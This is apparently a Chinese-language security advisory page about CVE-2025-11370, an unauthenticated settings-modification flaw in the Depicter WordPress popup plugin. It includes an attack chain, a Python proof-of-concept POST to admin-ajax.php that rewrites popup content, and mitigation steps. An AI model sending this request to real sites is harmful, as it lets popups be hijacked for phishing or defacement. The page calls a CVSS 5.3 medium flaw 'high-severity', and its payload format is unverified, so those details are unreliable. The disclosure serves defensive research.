IPBUF安全漏洞报告
English
CVE-2025-11370 CVSS 5.3 中危

CVE-2025-11370: Depicter WordPress插件未授权数据修改漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-11370
漏洞类型
缺少功能级访问控制
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Popup and Slider Builder by Depicter WordPress插件

相关标签

WordPress插件漏洞缺少权限检查未授权访问Depicter弹窗构建器IDORCVE-2025-11370媒介AJAX漏洞

漏洞概述

CVE-2025-11370是WordPress插件Popup and Slider Builder by Depicter中的一个高危安全漏洞。该插件是一款流行的WordPress弹窗和滑块构建器工具,用于创建邮件收集弹窗、弹窗模态框、优惠券弹窗、图片滑块、轮播滑块和文章滑块等功能。漏洞根源在于插件的RulesAjaxController类中的store函数缺少适当的能力检查(capability check),导致任何未认证的用户都可以调用该函数并修改弹窗的显示设置。这种未授权访问控制缺陷使得攻击者可以在未经身份验证的情况下,任意修改网站上的弹窗内容、显示规则和配置参数。攻击者可能利用此漏洞将恶意内容注入弹窗、修改促销信息、植入钓鱼链接或进行其他恶意操作,从而影响网站正常运营并危害访问者安全。由于该插件被广泛使用,此漏洞可能影响大量WordPress网站。

技术细节

漏洞存在于Depicter插件的app/routes/ajax.php文件中的RulesAjaxController类。该类的store函数负责处理弹窗显示规则的存储和更新操作。问题在于该函数直接处理用户请求的数据,而没有验证请求者是否具有管理插件设置的权限。在WordPress中,管理员操作通常需要manage_options等权限,但此函数缺少current_user_can()或类似的能力验证检查。攻击者可以通过向wp-admin/admin-ajax.php端点发送带有action=depicter_store_rules参数的AJAX请求,并构造特定的POST数据来调用该函数。由于WordPress的admin-ajax.php对非管理员用户也是开放的(某些操作允许未认证访问),攻击者可以绕过身份验证直接触发store函数。恶意请求将绕过CSRF token验证和权限检查,直接修改数据库中的弹窗配置。攻击者可以修改弹窗的触发条件、显示内容、目标受众规则等参数。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装并启用了Depicter插件(版本<=4.0.7)
STEP 2
步骤2
攻击者构造针对wp-admin/admin-ajax.php的AJAX请求,使用action参数depicter_store_rules
STEP 3
步骤3
攻击者构造恶意的rules参数数据,包含修改后的弹窗配置(如显示内容、触发条件等)
STEP 4
步骤4
攻击者发送未认证的POST请求到admin-ajax.php端点,由于缺少权限检查,请求被接受
STEP 5
步骤5
服务器端RulesAjaxController类的store函数处理请求,在不验证用户权限的情况下直接更新数据库中的弹窗设置
STEP 6
步骤6
攻击成功,弹窗内容被修改为攻击者指定的内容,可能包含恶意链接、钓鱼信息或垃圾内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11370 PoC - Unauthenticated Data Modification # Target: WordPress site with Depicter plugin <= 4.0.7 import requests import json target_url = "http://target-wordpress-site.com" # Step 1: Identify the vulnerable endpoint ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Step 2: Construct malicious request to modify popup settings # The 'store' function in RulesAjaxController lacks capability check payload = { "action": "depicter_store_rules", "rules": json.dumps({ "popup_id": 1, "settings": { "enabled": True, "trigger_type": "immediate", "content": "Malicious content injected by attacker", "display_frequency": "always" } }) } # Step 3: Send unauthenticated request response = requests.post(ajax_endpoint, data=payload) # Step 4: Check if modification was successful if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Popup settings modified successfully!") print(f"[+] Response: {result}") else: print("[-] Request failed") else: print(f"[-] HTTP Error: {response.status_code}") print("\nNote: This PoC demonstrates the vulnerability exists.") print("The attacker can modify popup display settings without authentication.")

影响范围

Depicter插件 <= 4.0.7

防御指南

临时缓解措施
如果无法立即升级插件,可以通过以下方式临时缓解:在wp-config.php中添加代码限制未认证用户对admin-ajax.php的访问;使用WordPress安全插件限制AJAX端点的访问;临时禁用Depicter插件直到完成升级;或者在服务器层面添加规则阻止对depicter_store_rules action的未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表